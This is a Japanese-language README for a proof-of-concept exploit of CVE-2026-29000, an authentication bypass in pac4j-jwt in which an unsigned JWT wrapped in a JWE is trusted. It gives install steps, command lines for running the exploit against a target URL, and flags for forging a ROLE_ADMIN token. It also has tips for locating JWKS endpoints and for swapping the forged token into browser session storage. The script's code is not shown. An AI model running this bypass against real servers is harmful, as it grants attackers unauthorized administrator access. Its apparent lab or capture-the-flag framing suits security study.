
CVE-2026-29000 PoC: pac4j-jwt の PlainJWT-in-JWE 認証バイパス。
CVE-2026-29000 の概念実証コードです。pac4j-jwt の 4.5.9 未満、5.7.9 未満、および 6.3.3 未満のバージョンを対象としています。
この脆弱性は単純です。ライブラリは、有効な JWE にラップされている限り、PlainJWT(署名なし、alg=none)を受け入れます。サーバーは JWKS エンドポイントを通じて RSA 公開鍵を公開しているため、誰でも任意の署名なし JWT を暗号化して、サーバーが信頼する JWE を作成できます。ROLE_ADMIN を含むものも同様です。
alg=none)を構築するサーバーはそれを復号し、内部のクレームを信頼し、内部の JWT が署名なしであることを決してチェックしません。
Python 3.13+ と uv、または依存関係を手動でインストール:
pip install jwcrypto requests
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [options]
必須:
| フラグ | 説明 |
|---|---|
--url | ターゲットのベース URL(例: http://10.10.11.x:8080) |
--jwks | JWKS エンドポイントへのパスまたは完全な URL |
オプション:
例:
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN
python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM
必ずしも明白ではありません。確認すべき場所:
/robots.txt — 制限されたパスや内部パスが記載されていることが多い/api/auth/jwks/.well-known/jwks.json/.well-known/openid-configurationトークンが拒否された場合、アプリが特定の暗号化アルゴリズムを期待している可能性があります。/static/js/app.js で次のようなものを確認してください:
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";
その後、--enc A128GCM を指定して再実行します。
トークンの保存方法も通常そこにあります:
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
}
sessionStorage の場合、DevTools の Application > Session Storage でトークンを直接置き換えます。
4.5.9、5.7.9、および 6.3.3 で修正されています。
| フラグ | デフォルト | 説明 |
|---|
--user | admin | sub クレームの値 |
--role | ROLE_ADMIN | 偽造するロール(ROLE_ADMIN、ROLE_MANAGER、ROLE_USER) |
--issuer | principal-platform | iss クレームの値 |
--enc | A256GCM | JWE コンテンツ暗号化(A256GCM または A128GCM) |